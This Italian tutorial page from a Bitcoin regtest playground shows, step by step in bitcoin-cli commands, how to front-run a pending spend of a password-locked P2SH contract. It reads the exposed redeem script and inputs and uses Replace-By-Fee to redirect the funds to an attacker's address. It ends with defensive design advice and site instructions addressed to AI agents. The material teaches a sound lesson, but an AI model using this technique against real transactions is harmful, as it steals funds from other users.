# Attaccare uno Smart Contract ![](/files/-MRGzAhWUFGu15yt7Q4Y) {% hint style="info" %} Questo argomento e' collegato a quanto descritto in [Bitcoin Smart Contract 101](/bitcoin-smart-contract-101.md), proseguire senza aver seguito il capitolo precedente potrebbe essere difficile :) {% endhint %} ## Setup Se provenite dal precedente capitolo e non avete minato blocchi dopo aver inoltrato la transazione finale siete gia' pronti. Altrimenti potete eseguire il seguente per ripristinare la situazione ```bash source /opt/wald/attaccare-uno-smart-contract/main.sh ``` {% hint style="info" %} Ricapitolando: adesso la transazione che contiene il redeem script ed i parametri di input per sbloccare la UTXO associata al P2SH e' in mempool. {% endhint %} ## Analisi forense :) ### Accesso alla mempool Qui sulla sinistra trovate due localhost bookmarks riguardo la mempool. *Bitcoin regtest mempool* mostra un resoconto della mempool senza i dettagli delle singole transazioni. *Hansel get raw mempool* mostra i dettagli delle singole transazioni. ### Recuperiamo il transaction ID della transazione in mempool Tramite il seguente comando siamo in grado di recuperare il primo transaction ID disponibile in mempool (arrivando dall'esercizio precedente abbiamo solo una transazione in mempool). ```bash MEMPOOL_FIRST_TX_ID=`bitcoin-cli getrawmempool | jq -r '.[0]'` echo "MEMPOOL_FIRST_TX_ID: $MEMPOOL_FIRST_TX_ID" ``` ### Recuperiamo lo ScriptSig associato alla transazione Per poter accedere al codice sorgente (redeem script + parametri di input) dello Smart Contract bisogna prima ottenere lo ScriptSig! ```bash SCRIPT_SIG_ASM=`bitcoin-cli getrawtransaction $MEMPOOL_FIRST_TX_ID 2 | jq -r '.vin[0].scriptSig.asm'` echo "SCRIPT_SIG_ASM: $SCRIPT_SIG_ASM" ``` Noterete che lo ScriptSig e' composto da due sequenze esadecimali separate da uno spazio. L'ultima sequenza e' sempre la versione serializzata del redeem script. ### Recuperiamo il redeem script serializzato e deserializziamolo Per attaccare uno Smart Contract abbiamo bisogno di capire come funziona e quindi di poter leggere la versione del redeem script che mostra i nomi delle opcodes altrimenti e' un po' dura :) ```bash REDEEM_SCRIPT_SERIALIZED=`echo $SCRIPT_SIG_ASM | awk '{print $NF}'` REDEEM_SCRIPT_DESERIALIZED=`bitcoin-cli decodescript $REDEEM_SCRIPT_SERIALIZED | jq -r '.asm'` echo "REDEEM_SCRIPT_DESERIALIZED: $REDEEM_SCRIPT_DESERIALIZED" ``` ![se tutto ha funzionato correttamente otterrete quanto sopra](/files/-MRGsIlmRnp-z6LiJXs_) ## Attacco! Osservando a fondo il redeem script deduciamo che l'unica verifica svolta e' l'OP\_EQUAL finale. Questo significa che conoscendo il parametro di input corretto possiamo costruire una nuova transazione che dirotti il pagamento. {% hint style="info" %} I parametri di input sono gia' all'interno dello ScriptSig! Inoltre tutte le informazioni necessarie per costruire la transazione che dirotta i fondi sono all'interno della transazione in mempool! {% endhint %} ### Recupero dei parametri necessari per l'attacco #### Recuperiamo la transaction ID dell'UTXO da attaccare ```bash ATTACKED_UTXO_TXID=`bitcoin-cli getrawtransaction $MEMPOOL_FIRST_TX_ID 2 | jq -r '.vin[0].txid'` echo "ATTACKED_UTXO_TXID: $ATTACKED_UTXO_TXID" ``` #### Generiamo l'indirizzo dell'hacker dove si vuole dirottare i fondi ```bash BENEFICIARIO_HACKER=`bitcoin-cli getnewaddress` echo "BENEFICIARIO_HACKER: $BENEFICIARIO_HACKER" ``` #### Valutiamo quante fee dobbiamo impostare per attivare il Replace By Fee (RBF) Con la release di Bitcoin Core 0.12 nel 2016 e' stato inserito il [BIP-125](https://github.com/bitcoin/bips/blob/master/bip-0125.mediawiki) che consente di sostituire una transazione in mempool con una, che spende la stessa UTXO, le quali fee per i miner sono maggiori. Per svolgere il nostro attacco dobbiamo quindi dedurre quante fee erano inizialmente previste dalla transazione che vogliamo attaccare. {% hint style="info" %} Le fee di una transazione sono la differenza fra l'ammontare di bitcoin dell'UTXO che stiamo spendendo e l'ammontare di bitcoin inviati. {% endhint %} ```bash MEMPOOL_TX_AMOUNT=`bitcoin-cli getrawtransaction $MEMPOOL_FIRST_TX_ID 2 | jq -r '.vout[0].value'` P2SH_UTXO_AMOUNT=`bitcoin-cli getrawtransaction $ATTACKED_UTXO_TXID 2 | jq -r '.vout[0].value'` echo "Le fee sono la differenza fra i bitcoin $P2SH_UTXO_AMOUNT disponibili e i $MEMPOOL_TX_AMOUNT bitcoin che saranno spesi" ``` #### Recuperiamo tutti i parametri di input ```bash REDEEM_SCRIPT_INPUT_PARAMS=`echo $SCRIPT_SIG_ASM | awk '{$NF=""; print $0}'` ``` ### Costruiamo la transazione malevola Possiamo utilizzare lo stesso script del capitolo precedente per creare la transazione dell'hacker!! ```bash # sostiuite questo valore cosi' da lasciare # piu' fee di quante ne stia lasciando # la tx in mempool HACKER_AMOUNT=24.99 HACKER_RAW_TX=`/opt/wald/p2sh_password/create_raw_tx.sh $ATTACKED_UTXO_TXID "$REDEEM_SCRIPT_INPUT_PARAMS" $REDEEM_SCRIPT_SERIALIZED $BENEFICIARIO_HACKER $HACKER_AMOUNT` ``` ### Inviamo la transazione! L'ultimo passaggio che rimane da fare e' inviare la transazione e poi controllare che sia stata sostiuita in mempool. ```bash bitcoin-cli sendrawtransaction $HACKER_RAW_TX ``` {% hint style="info" %} Se riceviamo un errore `absurdly-high-fee` e' perche' abbiamo esagerato con le fee e Bitcoin Core ci blocca preventivamente, possiamo bypassare (ai soli fini ludici mi raccomando!!) questo controllo aggiungendo un secondo parametro `1000` al `sendrawtransaction`. {% endhint %} Ottimo! Con il seguente comando possiamo verificare che la transazione attualmente in mempool e' diretta verso l'address del LOHACKER! ```bash MEMPOOL_TX_ADDRESS=`bitcoin-cli getrawtransaction $(bitcoin-cli getrawmempool | jq -r '.[0]') 2 | jq -r '.vout[0].scriptPubKey. addresses[0]'` echo "La transazione in mempool ha come address $MEMPOOL_TX_ADDRESS, l'hacker address e' $BENEFICIARIO_HACKER" ``` {% hint style="info" %} **La gestione della mempool non e' supervisionata delle regole di consenso emergente riguardante i blocchi di Bitcoin.** Vero e' che se la maggior parte dei nodi della rete implementano il BIP-125 rigorosamente sara' possibile sostituire una transazione nella mempool di tutti i nodi solo se questa e' stata creata con l'apposito valore in `nSequence`. Quindi si potrebbe creare la transazione che utilizza la UTXO P2SH "con password" senza attivare il BIP-125 (impostando a false l'ultimo parametro [qua](https://github.com/bitcoin-dalla-teoria-alla-pratica/bitcoin-in-action-playground/blob/master/wald/p2sh_password/create_raw_tx.sh#L36)).\ Cosi' facendo la transazione malevola dell'hacker sara' rifiutata dai nodi, che implementano rigorosamente il BIP-125, perche' in conflitto con la transazione gia' in mempool la quale non aveva attivato l'RBF. Chiaramente quando si parla di gestire bitcoin con Smart Contract non possiamo affidarci ai "se" ed i "ma" quindi **sempre meglio progettare Smart Contract che non siano attaccabili mentre risiedono in mempool**: vincolarne sempre l'esecuzione con successo o meno alle opcodes `OP_CHECKSIG`/`OP_CHECKMULTISIG` e con adeguati flag `SIGHASH` {% endhint %} --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://playground.bitcoininaction.com/bitcoin-smart-contract-101/attaccare-uno-smart-contract.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.